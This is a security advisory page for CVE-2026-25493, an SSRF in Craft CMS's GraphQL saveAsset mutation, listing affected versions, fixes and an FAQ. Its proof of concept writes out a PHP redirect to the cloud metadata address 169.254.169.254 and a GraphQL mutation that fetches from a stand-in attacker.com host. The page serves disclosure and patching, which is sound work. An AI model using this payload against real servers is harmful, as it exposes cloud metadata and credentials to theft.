CVE-2026-25493: Craft has a SSRF in GraphQL Asset Mutation via HTTP Redirect

Published Feb 9, 2026
·
Updated

Summary The saveAsset GraphQL mutation validates the initial URL hostname and resolved IP against a blocklist, but Guzzle follows HTTP redirects by default. An attacker can bypass all SSRF protections by hosting a redirect that points to cloud metadata endpoints or any internal IP addresses.

--- Proof of Concept 1. Host a redirect script on your server (e.g. redirect.php): php <?php header("Location: http://169.254.169.254/latest/meta-data/"); ?> 2. Send the following GraphQL mutation: graphql mutation { saveimagesAsset(file: { url: "https://attacker.com/redirect.php" filename: "metadata.txt" }) { id } } 3. The application validates attacker.com (passes) 4. Guzzle follows the redirect to 169.254.169.254 5. Cloud metadata is saved as an asset

--- Mitigation - Disable redirects.

Other sources

Craft is a platform for creating digital experiences. In Craft versions 4.0.0-RC1 through 4.16.17 and 5.0.0-RC1 through 5.8.21, the saveAsset GraphQL mutation validates the initial URL hostname and resolved IP against a blocklist, but Guzzle follows HTTP redirects by default. An attacker can bypass all SSRF protections by hosting a redirect that points to cloud metadata endpoints or any internal IP addresses. This issue is patched in versions 4.16.18 and 5.8.22.

MITRE

Affected Software

11 affected componentsFixes available
Craft Craft>=4.0.0-RC1<=4.16.17, >=5.0.0-RC1<=5.8.21
composer/craftcms/cms>=4.0.0-RC1<=4.16.17
4.16.18
composer/craftcms/cms>=5.0.0-RC1<=5.8.21
5.8.22
CraftCMS Craft CMS>4.0.0<4.16.18
CraftCMS Craft CMS>5.0.0<5.8.22
CraftCMS Craft CMS=4.0.0
CraftCMS Craft CMS=4.0.0-rc1
CraftCMS Craft CMS=4.0.0-rc2
CraftCMS Craft CMS=4.0.0-rc3
CraftCMS Craft CMS=5.0.0
CraftCMS Craft CMS=5.0.0-rc1

Event History

Feb 9, 2026
CVE Published
via MITRE·07:36 PM
Data Sourced
via MITRE·07:36 PM
DescriptionWeakness
Data Sourced
via NVD·08:15 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·08:15 PM
RemedyAffected Software
Advisory Published
via GitHub·08:35 PM
Data Sourced
via GitHub·08:35 PM
DescriptionWeaknessAffected Software
Free Weekly Intel

Don't miss critical vulnerabilities

Join thousands of security professionals who receive our weekly digest of trending CVEs, zero-days, and exploited vulnerabilities.

No spam. Unsubscribe anytime.

Frequently Asked Questions

1

What is the severity of CVE-2026-25493?

CVE-2026-25493 is classified with a severity level that indicates a potential security risk due to SSRF in GraphQL Asset Mutation.

2

How do I fix CVE-2026-25493?

To fix CVE-2026-25493, upgrade Craft to versions 4.16.18 or 5.8.22 or later to mitigate the vulnerability.

3

What type of vulnerability is CVE-2026-25493?

CVE-2026-25493 is a Server-Side Request Forgery (SSRF) vulnerability affecting the GraphQL Asset Mutation.

4

Which versions of Craft are affected by CVE-2026-25493?

CVE-2026-25493 affects Craft versions 4.0.0-RC1 to 4.16.17 and 5.0.0-RC1 to 5.8.21.

5

What can attackers potentially do with CVE-2026-25493?

Attackers exploiting CVE-2026-25493 could perform malicious requests to internal services via HTTP Redirects.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203